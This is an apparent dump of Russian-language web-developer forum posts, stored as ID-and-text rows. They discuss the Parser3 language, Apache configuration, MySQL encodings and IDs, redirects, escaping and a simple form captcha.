"64528","Есть примеры динамического создания .htaccess (именно для parser) или это всего-лишь теоретические изыскания?"
"64529","недо пересоздавать текстовый файлик в нужной папке\
\
Удумчиво читайте http://httpd.apache.org/docs/1.3/mod/mod_rewrite.html#RewriteMap"
"64530","Спасибо за ответы =) На вермя компиляции сделал так:\
\
-rwxr-xr-x 3 root root 176772 2007-11-15 13:42 /usr/bin/g++ -> g++-3.3\
-rwxr-xr-x 3 root root 174788 2007-11-15 13:42 /usr/bin/gcc -> gcc-3.3\
\
Собралось без проблем, потом вернул на место =)"
"64532","Точнее: \"[i]poll.p not found along MAIN:CLASS_PATH[/i]\" \
Оч. хотелось воспользоваться вашим классом. Если возможно выложите его. Спасибо."
"64533","Мне например интересно получать структурированный html с пробелами и табами после преобразования\
\
Для очистки кода можно использовать построцесс"
"64535","Я извиняюсь, а как Юджин и его класс опросов связан с «poll.p not found along MAIN:CLASS_PATH».\
Он зашёл к вам на сервер и удалил файл класса?.."
"64537","А если серьёзно, сомневаюсь, что кто-то прогоняет код с целью оптимизаций.\
Он выдаётся с верными оптимизациями непосредственно после XSL-трансформации.\
\
Лично я сталкивался с проблемой пробельных символов одиножды: нужно было выдать в textarea'ю отформатированный табами текст.\
Тогда опитимизация мешала.\
Выход простой:\
[code]\
^taint[as-is][^xdDocument.string[...]]\
[/code]"
"64539","Делал так файлообменник. Всё прекрасно работало.\
Один минус есть: нужен доступ к конфигу апача, т.к. из .htaccess map нельзя задать.\
Еще один момент. Имя файла лучше давать настоящее (чтобы уж любой браузер предлагал его при сохранении), а ID указывать в имени директории: ..../files/jk3njk2n4422mk/the_file_name.zip"
"64540","... скачайте себе [url=\"http://www.denwer.ru/\"]\"Джентльменский набор Web-разработчика\"[/url], чем ставить Apache и настраивать его самостоятельно - вам так будет проще разобраться с основами."
"64543","я не произносил слово [i]оптимизация[/i]\
читайте заново"
"64544","у нас есть парсер, который по умолчанию оптимизирует пробельные символы. посмотрев source можно заметить, что есть куски без этой оптимизации: это то, что пришло из блоков данных, что там было забито с ними и что прошло в output в результате copy-of."
"64545","[quote]весь код практически не имеет элементов содержащих пробельные символы[/quote]\
\
Это и есть «оптимизация пробельных символов»."
"64550","Помогите, пожалуйста, в чем может быть причина. После переноса сайта на новый хостинг не передается переменная $env:REMOTE_USER все оставльные переменные окружения передаются правильно. Тех поддержка говорит что у них эта переменная передается как надо. В чем может быть причина?\
Спасибо"
"64551","посмотрите на переменные окружения с помощью этого скрипта на perl:\
http://www.parser.ru/forum/?id=31048\
\
если там не увидите REMOTE_USER, то пошлите ссылку на него в техподдержку и попросите прокомментировать."
"64552","Скрипт на перл показал REMOTE_USER правильно, а $env:REMOTE_USER все равно ничего не показывает..."
"64554","нашедший (огромное ему спасибо) стестняется это написать в форум :)\
\
[code]\
@main[]\
$cnt(0)\
\
^cache[/test.txt](10){\
	^cache(0)\
	^test[]\
}\
\
$cnt\
\
@test[]\
^cnt.inc[]\
^throw[test;$cnt] # *** bug here\
[/code]\
\
в случае возникновения неперехваченного exception в теле cache происходит двойное его выполнение.\
\
если у оператора cache есть catch секция в которой происходит обработка произошедшего исключения -- все работает как надо.\
\
тем, кто использует cache, рекомендуется откатиться на 3.2.1sp2. исправлен баг (в cvs) будет на следующей неделе, как скоро пересоберём все бинарники -- пока сообщить затрудняюсь."
"64555","Да, я понимаю, что добрая половина сейчас будит материть мой пост и т.д., но я реально не могу доехать, как всё это работает. \
\
Опишу вкратце свою ситуацию: скачал Суиснайф и последний Парсер - \"Открыл браузер\" - сказало, что страница пашет. Я удалил из [i]..Сайты\\localhost01\\html[/i] всё ненужное. Оставил [i]auto.p[/i]. Полажил туда же свою страницу [i]index.html[/i], с примером навигации, пытался открыть браузером - открывает код Парсера. Но работает, если \"Открыть браузер\" через Контрольную Панель.\
\
Ну, подумал, будет работать онлайн. Залил в /cgi-bin/ файл [i]parser3.exe[/i], в /www/ поставил всё остальное [i](.htaccess, auto.p, index.html, sections.cfg)[/i]. Страница не открывается вообще, даёт ошибку 403. \
\
Пытался вычитать в форуме - везде по-разному написано, я пробовал и так и сяк - прогресса ноль. \
\
Хотел забить, но очень нужна навигация прописанная Парсером.\
\
Если бы какой-то продвинутый или просто понявший всё это человек смог бы нормально описать шаги, куда что ложить на свой сайт, чтобы всё работало, было бы круто. \
\
Заранее спасибо."
"64556","По поиску сначала не нашел тему, которую Вы подсказали.\
\
Спасибо за помощь, действительно, нужно использовать $env:REDIRECT_REMOTE_USER"
"64557","коды ошибок apache\
http://perkoka.ru/article/5/814.html\
\
FAQ:\
http://www.parser.ru/faq/forum/\
\
чтобы знать как [b]ложить[/b] или [b]покласть[/b] на сайт\
надо внимательно прочитать небольшой текст о том как это сделать - http://www.parser.ru/docs/lang/install4apachecgi.htm"
"64559","хорошо"
"64560","Есть скрипт, который надо выполнять по крону раз в минуту, но при этом не позволять ему запускаться второй раз, если первый не отработал.\
\
Вариант с временными файликами \"Я работаю\" как то неспортивно...\
Есть альтернативы?"
"64564","У меня вся загвоздка в чем. Делаю интерфейс, где есть Ajax. И там есть две кнопки (все как в Винде - применить, отмена).\
\
Так вот внизу можно сразу создать дерево тредов, и пока не нажмешь кнопку \"применить\", они не \"полетят\" в БД.\
\
Проблема собственно в ID.\
Как я думаю, чтобы указать к новому треду родителя, нужно знать ID родителя, но т.к. родитель еще не существует в БД, то и ID у него нет. Как быть?"
"64565","Я тоже стакой темой сталкивался, но так и не придумал как решить. Я думал сначала сохранять а потом запускать last_insert и делать update. Хотя мне эта идея самому не нравится, лучшего я ничего не придумал. К сожалению знания MySQl не позволяют."
"64566","Начинаю раздавать вымышленные ID, первый начинается с 0. Эти все данные находятся в хэше (JS).\
\
Затем после нажатия на кнопку отправить данные прилетают и обрабатываются в порядке:\
1) Сначала получаем LAST_INSERT_ID из БД.\
2) Затем блокируем данную таблицу БД от других вмешательство (LOCK TABLE).\
3) Добавляем данные один, за один, не забываем сделать такое:\
[code]\
^if(def $altData.parent_id && ^altData.is_not_existing_parent.int(0)){\
	$iParentID(^altData.parent_id.int(0) + $iLastInsertID)\
}{\
	$iParentID(^altData.parent_id.int(0))\
}\
[/code]\
4) Снимаем блок с таблицы."
"64571","Это ж админка, если я правильно понимаю?\
Смысла в особых экономиях нет.\
\
Пришли данные с временными id, пробежать, засунуть в базу обычным методом (insert + last_insert_id), по ходу заменяя временные id новыми.\
Не придётся ничего лочить.\
\
Либо можно при добавлении каждого узла AJAX'ом вставлять в базу как положено, но маркировать как «временный» или «невидимый».\
Если придёт подтверждение операции — переключить флаги у группы узлов, реальные id известны.\
Если будет отмена — удалить узлы по реальным же id."
"64576","Есть ли версия не под Windows?"
"64577","На сайте было несколько форм (регистрация, аутентификация и т.д.) в которых происходило перенаправление такого вида $response:location[http://${env:SERVER_NAME}$request_uri].\
Всё прекрасно работало, но в какой-то момент после каких-то изменений кода перенаправление перестало работать - форма остаётся с заполненными полями, страница не обновляется. Если перед $response:location дописать testtesttest - выведется. Если заменить перенаправление, например на $response:location[http://design.ru], ничего не произойдёт. Да и вообще, в любом месте кода такая конструкция не вызовет перенаправление.\
\
Сейчас уже непонятно, какие изменения в коде повлияли на это, да и влияли ли?\
Есть ли мнения у кого-нибудь как это исправить?\
Спасибо"
"64579","Если раньше всё работало, а теперь — нет, при этом Вы ничего кроме кода не меняли, то очевидно, что повлияли изменения в коде.\
\
Сказать больше без применения телепатии трудно."
"64580","Понятно, что скорее всего никто не ответит и придётся вставлять построчно $response:location[http://design.ru] и смотреть, где перестаёт перенаправляться"
"64582","- сделайте тестовую страницку, содержащую только $response:location[...]\
- посмотрите на результат её работы telnet-ом"
"64583","а разве не вариант? (куча плюсов, кстати, правда минусы тоже имеются).\
\
или использовать UUID-ы для новых сущностей, когда делать их на клиенте. а когда они \"полетят\" в БД -- делать обход дерева от корня и будет вам счастье в виде имеющегося идентификатора родителя без лока таблицы. \
\
ваш вариант (с суммированием для получения реального id родителя), в котором для начала надо бы поменять пункты 1 и 2, мне не нравится тем, что работать будет не всегда. например в oracle можно задать шаг инкремента id в \"последовательности\", и на одном из наших проектов он был != 1, т.е. подобное суммирование не подойдёт. это -- _пример_ когда не работает данный подход, а его суть в том, что \"вычислением id родителя ведают два разных, не связанных друг с другом кода\". неправильно это."
"64584","подправили драйвер (в cvs HEAD), чтобы перед его выгрузкой производился вызов метода mysql_server_end. будет выложен со следующей сборкой (если кто-то имеет описанную проблему и хочет прямо сейчас проверить не решилась ли она с помощью новой версии драйвера -- пишите, вышлю).\
\
однако по информации от Maxx это не решило проблему с клиентской библиотекой от MySQL 5.0.45.\
\
у нас проблема не воспроизводится, поэтому сами подебажить не можем. если кто-то сможет подебажить, найдет другие возможные причины возникновения проблемы или сообщит как нам воспроизвести её -- это ускорит нахождение решения. \
\
а пока остаётся лишь пользоваться более старой клиентской библиотекой."
"64585","Потому что есть XAMPP?"
"64586","В том то и дело, тестовая (пустая абсолютно) прекрасно работает. Работает везде кроме пересылания после обработки формы. Кэш на сайте не используется.\
\
Если сделать так\
^if(def $form:name){\
^try{\
1. $response:location[http://design.ru]\
2. Добавляем данные в базу\
3. $response:location[http://design.ru]\
}{\
...\
}}\
\
Данные в базу добавятся, но пересылка не произойдёт"
"64587","Не надо, потому что настроить всё это руками, - совсем несложно, и такая штука, по-моему = медвежья услуга, т.к. люди совсем отвыкают думать."
"64588","Зато это куда быстрее. Иногда приходится покопаться с конфигами и еще с чем-то. К примеру на разных Линукс дистрибьютивах идут разные версии, разные расположения конфигов.\
\
Я приведу один пример, когда удобно использоваться XAMPP, Denwer или еще что-то подобное. Это ты неожиданно находишься не на своем компе, а тебе нужно в кратчайшие сроки заделать какую-то работу."
"64590","зачем у вас здесь два! location?"
"64591","Для бензина верно, но для этого случая не совсем - настройка ядра многопользовательской системы (а почти любой сайт это так и есть), вещь не такая тривиальная и не делается каждый день. То же самое касается и окружения разработчика, - тут нужно подумать для начала."
"64593","раньше в ваших сайтах url были типа /../../en/ и /../../de/ и т.д. сейчас /en/../../ и /de/../../ с чем это связано?"
"64594","мы (ладно, _я_ в imp1) никогда не делал так, чтобы языковой признак был в конце url. или в начале или в имени домена."
"64595","[quot]Это ты неожиданно находишься не на своем компе[/quot]\
Я бы ушел с такой работы, в случае если бы такое было нормальным при разработке чего-либо (сайт, ПО и пр.)"
"64596","Я только лишь привел пример. Вы с ним не согласны?"
"64598","Код самый обычный, сам по себе работает прекрасно. response:location до него и после него выполняются. А внутри - нет.\
\
Не могу понять, ЧТО же такое у меня перед эти блоком, что гасит работу response:location внутри него.\
\
[code]\
^if($form:action eq \"done\"){\
	$is_show_form(0)\
	Thank you! \
}{\
	$is_show_form(1)\
}\
^if(^form:do.int(0) == 1){	\
	^try{\
		^oSql.void{\
			INSERT INTO \
				users \
			SET\
				user_login = '$form:login'\
		}\
		$response:location[http://${env:SERVER_NAME}$request_uri?action=done]\
	}{\
		$exception.handled(1)\
	}\
}\
^if($is_show_form){\
	<form name=\"form1\" action=\"$request_uri\" method=\"post\">\
	<input type=\"hidden\" name=\"do\" value=\"1\">\
	<input type=\"text\" id=\"login\" name=\"login\" value=\"$form:login\" />\
	<input type=\"submit\" id=\"submit\" name=\"submit\" value=\"Submit\" />\
	</form>\
}\
[/code]"
"64599","[code]$response:location[http://${env:SERVER_NAME}$request_uri?action=done][/code] —> [code]$response:location[^taint[as-is][http://${env:SERVER_NAME}$request_uri]?action=done][/code]"
"64601","у вас тут как минимум два условия при которых редирект не случится\
^if(^form:do.int(0) == 1){}{}\
\
и ^try{}{}\
\
например если запись не вставится (повторяется ник например, а поле уникальное) - то редиректа не будет\
\
но это так - что в голову пришло"
"64602","Хотел прикрыть свой сайт (все кроме примеров), и случайно потер нужные классы. Сейчас работает - пользуйтесь на здоровье."
"64604","^if(^form:do.int(0) == 1){}{} - это условие выполняется\
уберите $exception.handled(1) - зачем?\
\
я ж написал - этот код, вставленный в пустую страницу прекрасно работает. И у меня он тоже работает - все инсерты, апдейты базы внутри выполняются - не работает только перенаправление"
"64606","[code]\
$html[\
			<tr>\
				<td style=\"border-bottom: dashed 1px black\">\
					<a href=\"/user/photo_store/?show=album&album_id=$album_id\">^taint[html][$hRequest.name] (0)</a>\
				</td>\
				<td style=\"vertical-align:bottom\">\
					<a href=\"JavaScript: delAlbum($album_id, '^taint[js][$hRequest.name]')\"><img src=\"/gfx/delete.gif\" border=\"0\"></a>\
				</td>\
			</tr>\
		]\
		^JSHttpRequest:printResponse[; ^hash::create[$.ok[1] $.html[$html]] $.id[$album_id] ]	\
[/code]\
\
Проблема в том, что если в $hRequest.name содержится строка с символом ' (кавычка одинарная) , то не смотря на то, что я использую ^taint[js][$hRequest.name] когда формирую HTML, эта кавычка не экранируется."
"64607","пример -- притянут за уши. сайт -- это в первую очередь не настроенный апач + sql сервер + процессор кода, а _код_ + стили + js + картинки и т.д.\
\
\"поднять\" сервер (http + sql + процессор) -- фигня по сравнению с корректным поднятием самого сайта.\
\
если вас вдруг застигли врасплох вдали от дома и вы имеете инструмент, с помощью которого вы можете установить/настроить сервер за 5 минут вместо 20, то всё равно вы с большой вероятностью просто не будете иметь данных сайта. всё равно вам придётся потратить немало времени на настройку рабочего окружения (броузеры, редакторы, ftp-клиент и т.д.)\
\
т.е. экономия получается совсем небольшая, зато возможный геморой имеет место быть. сколько было вопросов \"как проапдейтить парсер в Денвере\"? думаю аналогичных вопросов касающихся апгрейда отдельно взятых компонент в Денвере в их форуме тоже было немало. почему эти вопросы задают? потому, что \"веб-разработчики\", становившие компллект не предславляют как работает _всё_вместе_. они не представляют для чего нужен каждый компонент и что он умеет дополнительно. а веб-разработчик -- это не только \"писатель\" на parser/php/perl/..., ему вообще-то следует представлять как работает сайт целиком.\
\
это -- не заливка бензина. если брать это в качестве аналогии, то это незнание того, что нужно вообще заливать бензин, периодически проверять масло, хоть примерно представлять что означает какая лампочка...\
\
\
почему я тогда не согласен с egr-ом? да потому, что такие пакеты нужны... чтобы тем, кто ни разу не сталкивался ни с чем подобным быстро установить чтобы _посмотреть_возможности_. всё. посмотрели? дальше идите читать доки по каждому из компонентов и настраивайте каждый из них с помощью его тулзов/мануалов. т.е. я против \"контрольных панелей\".\
\
\
это моё личное мнение, я его высказал, но дальше ни спорить ни доказывать ничего не собираюсь."
"64608","предлагаю не гадать на кофейной гуще по поводу вашего кода.\
\
до кучи проверьте, не выдаётся ли у вас вместе с location ещё и status, body."
"64609","Если глянуть в доку по мусклю:\
For LAST_INSERT_ID(), the most recently generated ID is maintained in the server on a per-connection basis. It is not changed by another client. It is not even changed if you update another AUTO_INCREMENT column with a non-magic value (that is, a value that is not NULL and not 0). Using LAST_INSERT_ID() and AUTO_INCREMENT columns simultaneously from multiple clients is perfectly valid. Each client will receive the last inserted ID for the last statement that client executed.\
\
Не думаю, что вы используете многопоточную среду, делящую один объект-коннэкшн между тредами."
"64610","или вы не поняли идею. там вся фишка в том, что все новые id должны идти по порядку, только в этом случае можно схалявить и вычислять реальный id родителя как шв рутового родитела + \"локальный\" id присвоенный js."
"64611","что вы спрашиваете почему не работает, а другие пытаются разобраться....\
\
вы пишете что у вас location в _вашем_ коде не работет, просто написанный там же один  без другого кода - работает.\
\
у вас обработанная ошибка, если в блоке try что то случится - то редиректа не случится, очень похоже на то,что вы и описываете.\
\
не хотите убирать handled допишите рядом с ним тот же location, который будет происходить и в случаях ошибок в try и проверьте еще раз.\
\
Убеждать вас никакого желания нет, ищите ошибку теми методами, которые знаете сами"
"64612","А можно в MapSource задать относительный путь к Map-файлу?"
"64613","Именно для этого я и приводил пример, что конструкция response:location - INSERT - response:location выполняется посередине, без крайних команд\
\
если бы что-то случилось с первым response:location (ошибся бы я например на буковку), то try бы перехватил ошибку, но он её не перехватывает\
рядом с handled у меня должно выводится сообщение об ошибке - в данном случае не выводится.\
\
Мне и так и так приходится перебирать все способы самому, я прекрасно понимаю, что угадать, что там у меня творится, тяжело.\
\
Фактически что я хотел услышать - это либо то, что парсер в каких то ситуациях может не выполнить команду или практический совет как сторонней программой детально изучить, что же происходит во время отправки формы"
"64616","[quot]\
дальше идите читать доки по каждому из компонентов и настраивайте каждый из них с помощью его тулзов/мануалов. т.е. я против \"контрольных панелей\".\
[/quot]\
Особо не понял этой фразы. Любая контрольная панель - это то же GUI для работы с программой. Работать с GUI обычно всегда проще, чем через редактор править конфигурационные файлы.\
\
К примеру многие сидят на Windows'е и настройки экрана (разрешение и т.п.) делают через \"свойства\" из контекстного меню. Я не думаю, что в данном примере нужно доказывать, что это куда легче, чем на X изменять это в /etc/X11/xorg.conf\
\
\
[quot]\
всё равно вам придётся потратить немало времени на настройку рабочего окружения (броузеры, редакторы, ftp-клиент и т.д.)\
[/quot]\
Если подумать о такой ситуации заранее, то нет, доказательство - http://portableapps.com/."
"64617","Хороший вариант для реализации.\
\
P.S. Т.к. говорилось, что раздавать UUID на стороне клиента (JavaScript), то кому-то может понадобится класс UUID для JS:\
http://www.af-design.com/services/javascript/uuid/"
"64618","т.е. например я против той контрольной панели, которая входит в SwissKnife %-)\
\
ничего не имею против стандартного MySQL GUI, например."
"64619","Я до этого не так понял."
"64621","там ведь как, данные передаются в формате a la JSON\
[code]{'name':'value', 'name2':'value2', ... }[/code]\
любая неэкранированная кавычка [b]'[/b] поломает весь вывод.\
\
Посмотрите снифером, что конкретно передается, и что получается в итоге (например в Mozilla -> Web Developer plugin -> View source -> View generated source). \
\
Скорее всего там в другом проблема, экранируется слишком много нужных кавычек в передаваемом коде, вот тут похожее обсуждалось http://www.parser.ru/forum/?id=56257"
"64622","Вот это даты:\
388558800\
234590400\
201499200\
411109200\
150782400\
436597200\
\
Кто нибудь подскажет, в каком они формате, и как их привести к виду yyyy-mm-dd ?"
"64626","Количество секунд с 1.01.1970"
"64629","Спасибо! Не сразу в доке нашел этот метод... Что интересно его нет в разделе даты"
"64630","во первых коротковаты они, а во вторых нули в конце смущают..."
"64632","1982-04-25 09:00:00\
1977-06-08 08:00:00\
1976-05-21 08:00:00\
1983-01-11 08:00:00\
1974-10-12 08:00:00\
1983-11-02 08:00:00\
\
Древние просто, видать, и с точность до часа."
"64635","Учитывая то, что для директивы RewriteMap [code]Context:[/code] является [code]server config, virtual host[/code], и доступ имеется только к .htaccess, то идея динамической таблицы подстановок Rewriting Map остается теоретическим рассуждением.\
\
Поправьте меня, если я не прав."
"64636","как я прнимаю, у вас если страница многоязычная, то каждый человек может редактировать все языковые версии. не лучше ли их разделить?"
"64638","Стоит MySQL сервер на нем настройки default-character-set=cp1251,\
в переменных следуюшие\
character_set_client            | cp1251                                  \
character_set_connection        | cp1251                                  \
character_set_database          | cp1251                                  \
character_set_filesystem        | binary                                  \
character_set_results           | cp1251                                  \
character_set_server            | cp1251                                  \
character_set_system            | utf8                                    \
collation_connection            | cp1251_general_ci                       \
collation_database              | cp1251_general_ci                       \
collation_server                | cp1251_general_ci \
\
а при тесте (_test.html)пишет что, \"Определение серверной кодировки MySQL: $request:charset (WINDOWS-1251) не совпадает с переменной MySQL сервера character_set/character_set_client (SQL сервер вернул значение latin1)\". Почему возвращает latin1 ? Можно ли как нибудь запретить смену кодировки ?"
"64639","из _test.html делается запрос 'SHOW VARIABLES' и далее ищется переменная с именем CHARACTER_SET или CHARACTER_SET_CLIENT. именно её значение анализируется и показывается.\
\
очевидно, что или указанные вами переменные окружения не соотв. действительности (например вы получили их с помощью какой-либо программы, которая перед запросом SHOW VARIABLES дала комманду SET NAMES ... или SET CHARACTER SET ...) или то-же самое было сделано до отработки тестовой страницы (например ваш код подключился к серверу в auto.p/@auto[] и выдал такие комманды). если в строке подключения парсера к БД есть ?charset=..., то это не влияет на анализ кодировки, т.к. перед анализом все параметры из строки соединения в тестовой странице вырезаются."
"64640","Можете что то конкретное предложить.. не могу сообразить что необходимо сделать,\
а возможно ли заставить mysql запретить смену кодировки ? чтобы работала та что выставлена по умолчанию ?"
"64641","конкретные предложения:\
1. подключаетесь к серверу стандартной клиентской утилитой mysql и смотрите VARIABLES без всяких SET\
2. после того, как увидите, что там latin1 идёте читаете доку по серверу и задаёте таки нужную вам кодировку или, если у вас 4.1+, забиваете на задание default кодировки сервера и просто создаёте нужную вам _БД_ в нужной вам кодировке, а парсеру в строке подключения сообщаете о том, в какой кодировке ваша БД."
"64642","Решил пользоваться новыми возможностями parser 3.2.2.\
Сделал функцию, возвращающую bool.\
Появилось небольшое неудобство:\
\
[code]@func[]\
^if(^doSomething[] == что-нибудь){ $result(true) }{ $result(false) }\
\
@main[]\
^func[][/code]\
\
Этот код выдает ошибку:\
[code]<p>В работе Parser произошла ошибка:</p>\
<pre>bool may not be overwritten with bool, store it to variable instead</pre>\
<h3>Ошибку вызвал этот фрагмент:</h3>\
<code>bool</code>[/code]\
\
Если я правильно понимаю, ошибка возникает, когда парсер пытается записать bool в результат функции main, там ожидается string.\
Сейчас просто помещаю любой результат функции в переменную: [code]$res[^func[]][/code]\
...даже если мне этот результат и не нужен.\
\
Правильно ли я понял происходящее?"
"64643","Беда как раз в том, что версия MySQL 5, и уже созданы базы и таблицы.. и нужна инфа из них."
"64644","в MAIN также нельзя записать дату, таблицу, хеш и другие объекты.\
\
однако вашу @func[] лучше упростить:\
[code]\
$result(^doSomething[] == что-нибудь)\
[/code]"
"64645","т.к. БД и таблицы уже хранят инфу о том, в какой кодировке в них данные.\
\
т.е.:\
1. делаете dump вашей БД\
2. удаление кодировки указанной у ваших таблиц\
3. convert букв в нужную вам (рекомендую UTF-8)\
4. drop database\
5. create database в нужной вам кодировке (см. рекомендацию выше)\
6. загрузка изменённого дампа обратно"
"64646","А чем хороша UTF-8 ?"
"64648","я говорю про кодировку _хранения_ данных.\
\
тем, что вам больше никогда не придётся думать ни о какой другой кодировке, даже если вы захотите сделать немецкую, французскую или ещё какую версию сайта (ну... кроме некоторых азиатских).\
\
получать данные вы всегда сможете в любой удобной вам кодировке (например в 1251), в случае с парсером для этого всего-лишь надо написать в строке соединения с mysql сервером ?charset=cp1251"
"64650","а если после дампа, остаются те же \"?????\" =) - значит информация потеряна ?"
"64651","возможно ваша программа перед dump-ом сделала упоминаемые SET (сделайте его mysqldump-ом).\
\
также возможно ваш текстовый редактор некорректно отображает символы (не может распознать кодировку).\
\
если ни то ни другое предположение не верно, то скорее всего данные утеряны (но вы молчите как партизан, и на самом деле не сообщили о том, как вы дошли до такой жизни с кодировками).\
\
хотя они могут быть и не утеряны (например вы писали данные в одной кодировке, а серверу сообщали что они в другой. в этом случае можно попробовать их достать)."
"64652","Дамп как раз делал mysqldump-ом, а потом пытался сконвертировать.. бесполезно"
"64653","Откуда в cgi появляется [i]parser3.exe.core[/i] и что это за файл?"
"64654","и все таки, почему он выдает latin1 ?"
"64655","а не удобней ли регистрироватьстраницы с разными языками как отдельные. т.е. у каждой страницы только один язык."
"64656","п. 5 недействителен, т.е. файлы могут быть в любой кодировке"
"64658","С какой версией Apache лучше всего компилировать Parser?\
\
1.3.x, 2.0.x или 2.2.x\
\
Для меня важно, чтобы была высокая скорость отдачи файлов и[i]возможно[/i], что придется использовать Apache как прокси-сервер.\
\
В документации идет намёк на то, что нужно компилировать с веткой 1.3.x..."
"64659","для cgi версия apache не имеет значения (собственно можно и не апач использовать), для модуля апач вариантов нет - 1.3 и только (и об этом явно сказано в документации).\
\
мы сами используем cgi и при необходимости увеличиваем производительность другими средствами (кеширование парсером, кеширующими прокси), т.е. есть вероятность, что в модуле вы \"найдёте\" баг, о котором мы даже не знаем."
"64660","Ведь ничего же не стоит делать их из парсерного кода - так видней и правильней, и меньше шансов на дедлок налететь."
"64663","Существует ли теоретическая возможность соединяться с MSSQL с *nix машины?\
Т.е. версия драйвера под никсы?"
"64664","Только вот я практически точно не буду под юникс драйвер делать."
"64665","Пробовал\
[code]$response:location[http://www.targetsite.com/][/code]\
[code]$response:refresh[$.value(1) $.url[http://www.targetsite.com/]][/code]\
\
Редиректится, но http_referer пустой. \
При редиректе средствами Java отображается, но для поставленных задач жаба не катит.\
\
Заранее спасибо за помощь."
"64667","случаи разные бывают.\
\
imp1 позволяет создать отдельный сайт с другим набором языков, что удобнее, когда _структуры_ сайтов на разных языках различны.\
\
когда структуры одинаковые, _нам_ удобнее, когда у каждой страницы несколько языков.\
\
что касается прав доступа, то релии таковы что ни одному из наших клиентов, использующих imp1 разделение прав доступа не потребовалось настолько, чтобы за это заплатили. т.е. в imp1 его просто нет (оно заложено в идеологию, для этого написано какое-то количество кода, но оно не доделано).\
\
и в общем это понятно: обычно поддержкой сайта занимается или сторонняя компания (например компания-разработчик сайта, в данном случае мы) или достаточно небольшой отдел поддержки. в обоих случаях обсуждаемая функция нафиг не нужна.\
\
тем нашим клиентам, которым данные функции требовались, обычно требовалось много большее (включая версионность). все это есть в imp2.\
\
очевидно, что реализовывать что-то ради галочки мы не будем (после реализации функции её надо поддерживать, а если она невостребована -- то это пустая трата времени и следовательно денег). у нас принципиально иной к этому подход."
"64668","если честно, я не знаю каким образом средствами Java это может быть реализовано (ну... если только это не апплет, работающий в браузере), т.к. информацию о referer-е отправляет _браузер_. а захочет он её отправлять или нет -- воля пользователя, его настраивающего.\
\
однако если вы утверждаете, что это возможно сделать, используя какие-то http заголовки отправляемые сервером, возьмите любой снифер (например уже упоминяемый недавно http watch) и посмотрите что вам отправляет \"java\". а далее выдайте их же парсером."
"64669","лично я никогда не встречался с файлом с упомянутым именем. на win32 программа обычно \"падает\" иначе и не оставляет \"core\".\
\
если речь идёт всё таки о parser3.cgi.core, что мы тут обычно называем просто \"core\", то по простому говоря это дамп памяти, записанный операционной системой unix в тот момент, когда программа parser3.cgi выполнила невыполнимое и допустила недопустимое. используя его отладчиком можно попытаться понять что произошло, чтобы потом найти и исправить баг (да, причина \"core\" -- баг. программа не должна падать ни в каком случае, а должна внятно сообщать о проблеме).\
\
более подробную информацию по этой теме вы можете найти в google или яндекс. а что сделать, чтобы у вас не появлялись большие \"core-файлы\" -- вы можете найти в этом форуме (поиск слева)."
"64670","В жабе редирект одной этой строчкой и все ок"
"64671","Такая проблемка.\
все наверно видели как на форумах сделана проверка, защита от спама.\
т.е. мы вводим все данные и код указанный на картинке, если код верный то данные отправляются на сервер.\
попытался сделать что то такое и вот что у меня получилось.\
\
[code]<form method=\"POST\" enctype=\"multipart/form-data\">\
<p Align=\"justify\">\
<table border=0 width=100% cellspacing=\"0\" cellpadding=\"4\">\
<tr bgcolor=ffffff><td>Категория</td>\
 <td>\
  <SELECT size=0 width=50 name=\"kategory\">\
    ^connect[$connect_string]{$kat[^table::sql{select kid, name from kategory}]\
    ^kat.menu{\
    <OPTION value=\"$kat.kid\">$kat.name</OPTION>\
               }\
               }\
  </SELECT>                                                                                       \
 </td>\
</tr>\
# помещаем в переменную ran случайное чилсо\
$ran[^math:random(100000)]\
\
# поля для ввода данных\
\
<tr bgcolor=ffffff><td>Наименование</td><td><input name=\"name\" value=\"$add.name\" size=50></td></tr>\
<tr bgcolor=ffffff><td>Описание</td><td><textarea cols=\"50\" name=\"opis\" rows=\"6\"></textarea></td></tr>\
<tr bgcolor=ffffff><td>Фотография</td><td><input type=\"file\" name=\"photo\" value=\"$form:filename\" size=40></td></tr>\
\
# поле для ввода случайного числа переменной $RAN\
<tr bgcolor=ffffff><td>Введите код <b>$ran</b></td><td><input name=\"access\" value=\"\" size=40></td></tr>\
<tr bgcolor=ffffff><td></td><td><input type=\"submit\" value=\"Разместить объявление\" name=\"posted\"></td></tr>\
</table>\
\
\
# выполняем проверку на правильность данных\
# Ели поле $form:name и поле form:access не равно той самой переменной\
# то данные в базу не проходят.\
\
^if(def $form:name && $form:access eq $ran ){\
# Соединяемся с БД\
   ^connect[$connect_string]{\
      ^void:sql{insert into predmet\
         (date_p, name, opis, photo, kategory)\
      values\
         ('${date.year}-${date.month}-${date.day} ${date.hour}:${date.minute},${date.second}', '$form:name', '$form:opis', '$form:photo', '$form:kategory')\
      }\
      }\
      }\
</form>[/code]\
\
в итоге получается что на момент нажатия кнопки \"Разместить объявление\" переменная $ran меняется и она уже не равна той что я ввел в окно ввода. вопрос как ыбть ?"
"64674","После нажатия на кнопку, страница заного обрабатывается и random возвращает новое значение.\
Для защиты от СПАМа есть неплохой класса от Misha v.3. Смотрите в примерах."
"64675","Может быть есть какой то вариант с хешем ?\
чтобы число временно сохарнилось на диск на сервере\
а потом сранивлось с тем что ввел юзер ?\
\
как сделать такой вариант ?"
"64677","Судя по вашей реализации, Вам скорее всего придется передавать это число через form, используя <input type=\"hidden\" ... />.\
Тем самым будет сделана глупая проверка. Т.е. я имею ввиду, что такую защиту даже взламывать не надо, она открытая для всех!"
"64678","каждая страница состоит из отдельных частей.\
вот не могу придумать, как организовать версионность страниц.\
можно сделать аналогию Subversion, но это выстрел из пушки по воробьям.\
мой вариант: тупо регистрировать в базе каждое изменение как новую версию страницы. но мне кажется, что это изврат.\
кто как считает?"
"64679","Но хотя здесь лучше начинать с цели, затем переходить к решению задачи."
"64680","а что непонятного в цели?"
"64682","А из пушки просто в воздух еще хуже.\
Так ли необходима вам эта функция (я плохо понял какая именно :)\
А если версионность все-таки нужна не лучше ли использовать тот же subversion? я например с ним и работаю.\
Если это дело для админки, то может вам хватит одной предыдущей версии?"
"64687","[b]Задача:[/b]\
\
Сформировать страницу из 6-ти разных блоков. Блоки почти все очень разные, для выполнения разных задач. В каждом блоке кода не очень много (строк 50..70), мне удобнее вынести каждый блок в отдельный класс, а потом просто подсоединить его в нужном месте страницы.\
\
То же самое можно сделать, создав один класс с разными методами, а потом на странице просто вызывать в нужном месте нужный метод. Но тогда немного теряется логика (методы разной функциональности в одном классе).\
\
[b]Вопрос:[/b]\
\
Насколько медленнее способ с подключением разных классов, чем способ с вызовом методов? И заметно ли он кушает память парсера?\
\
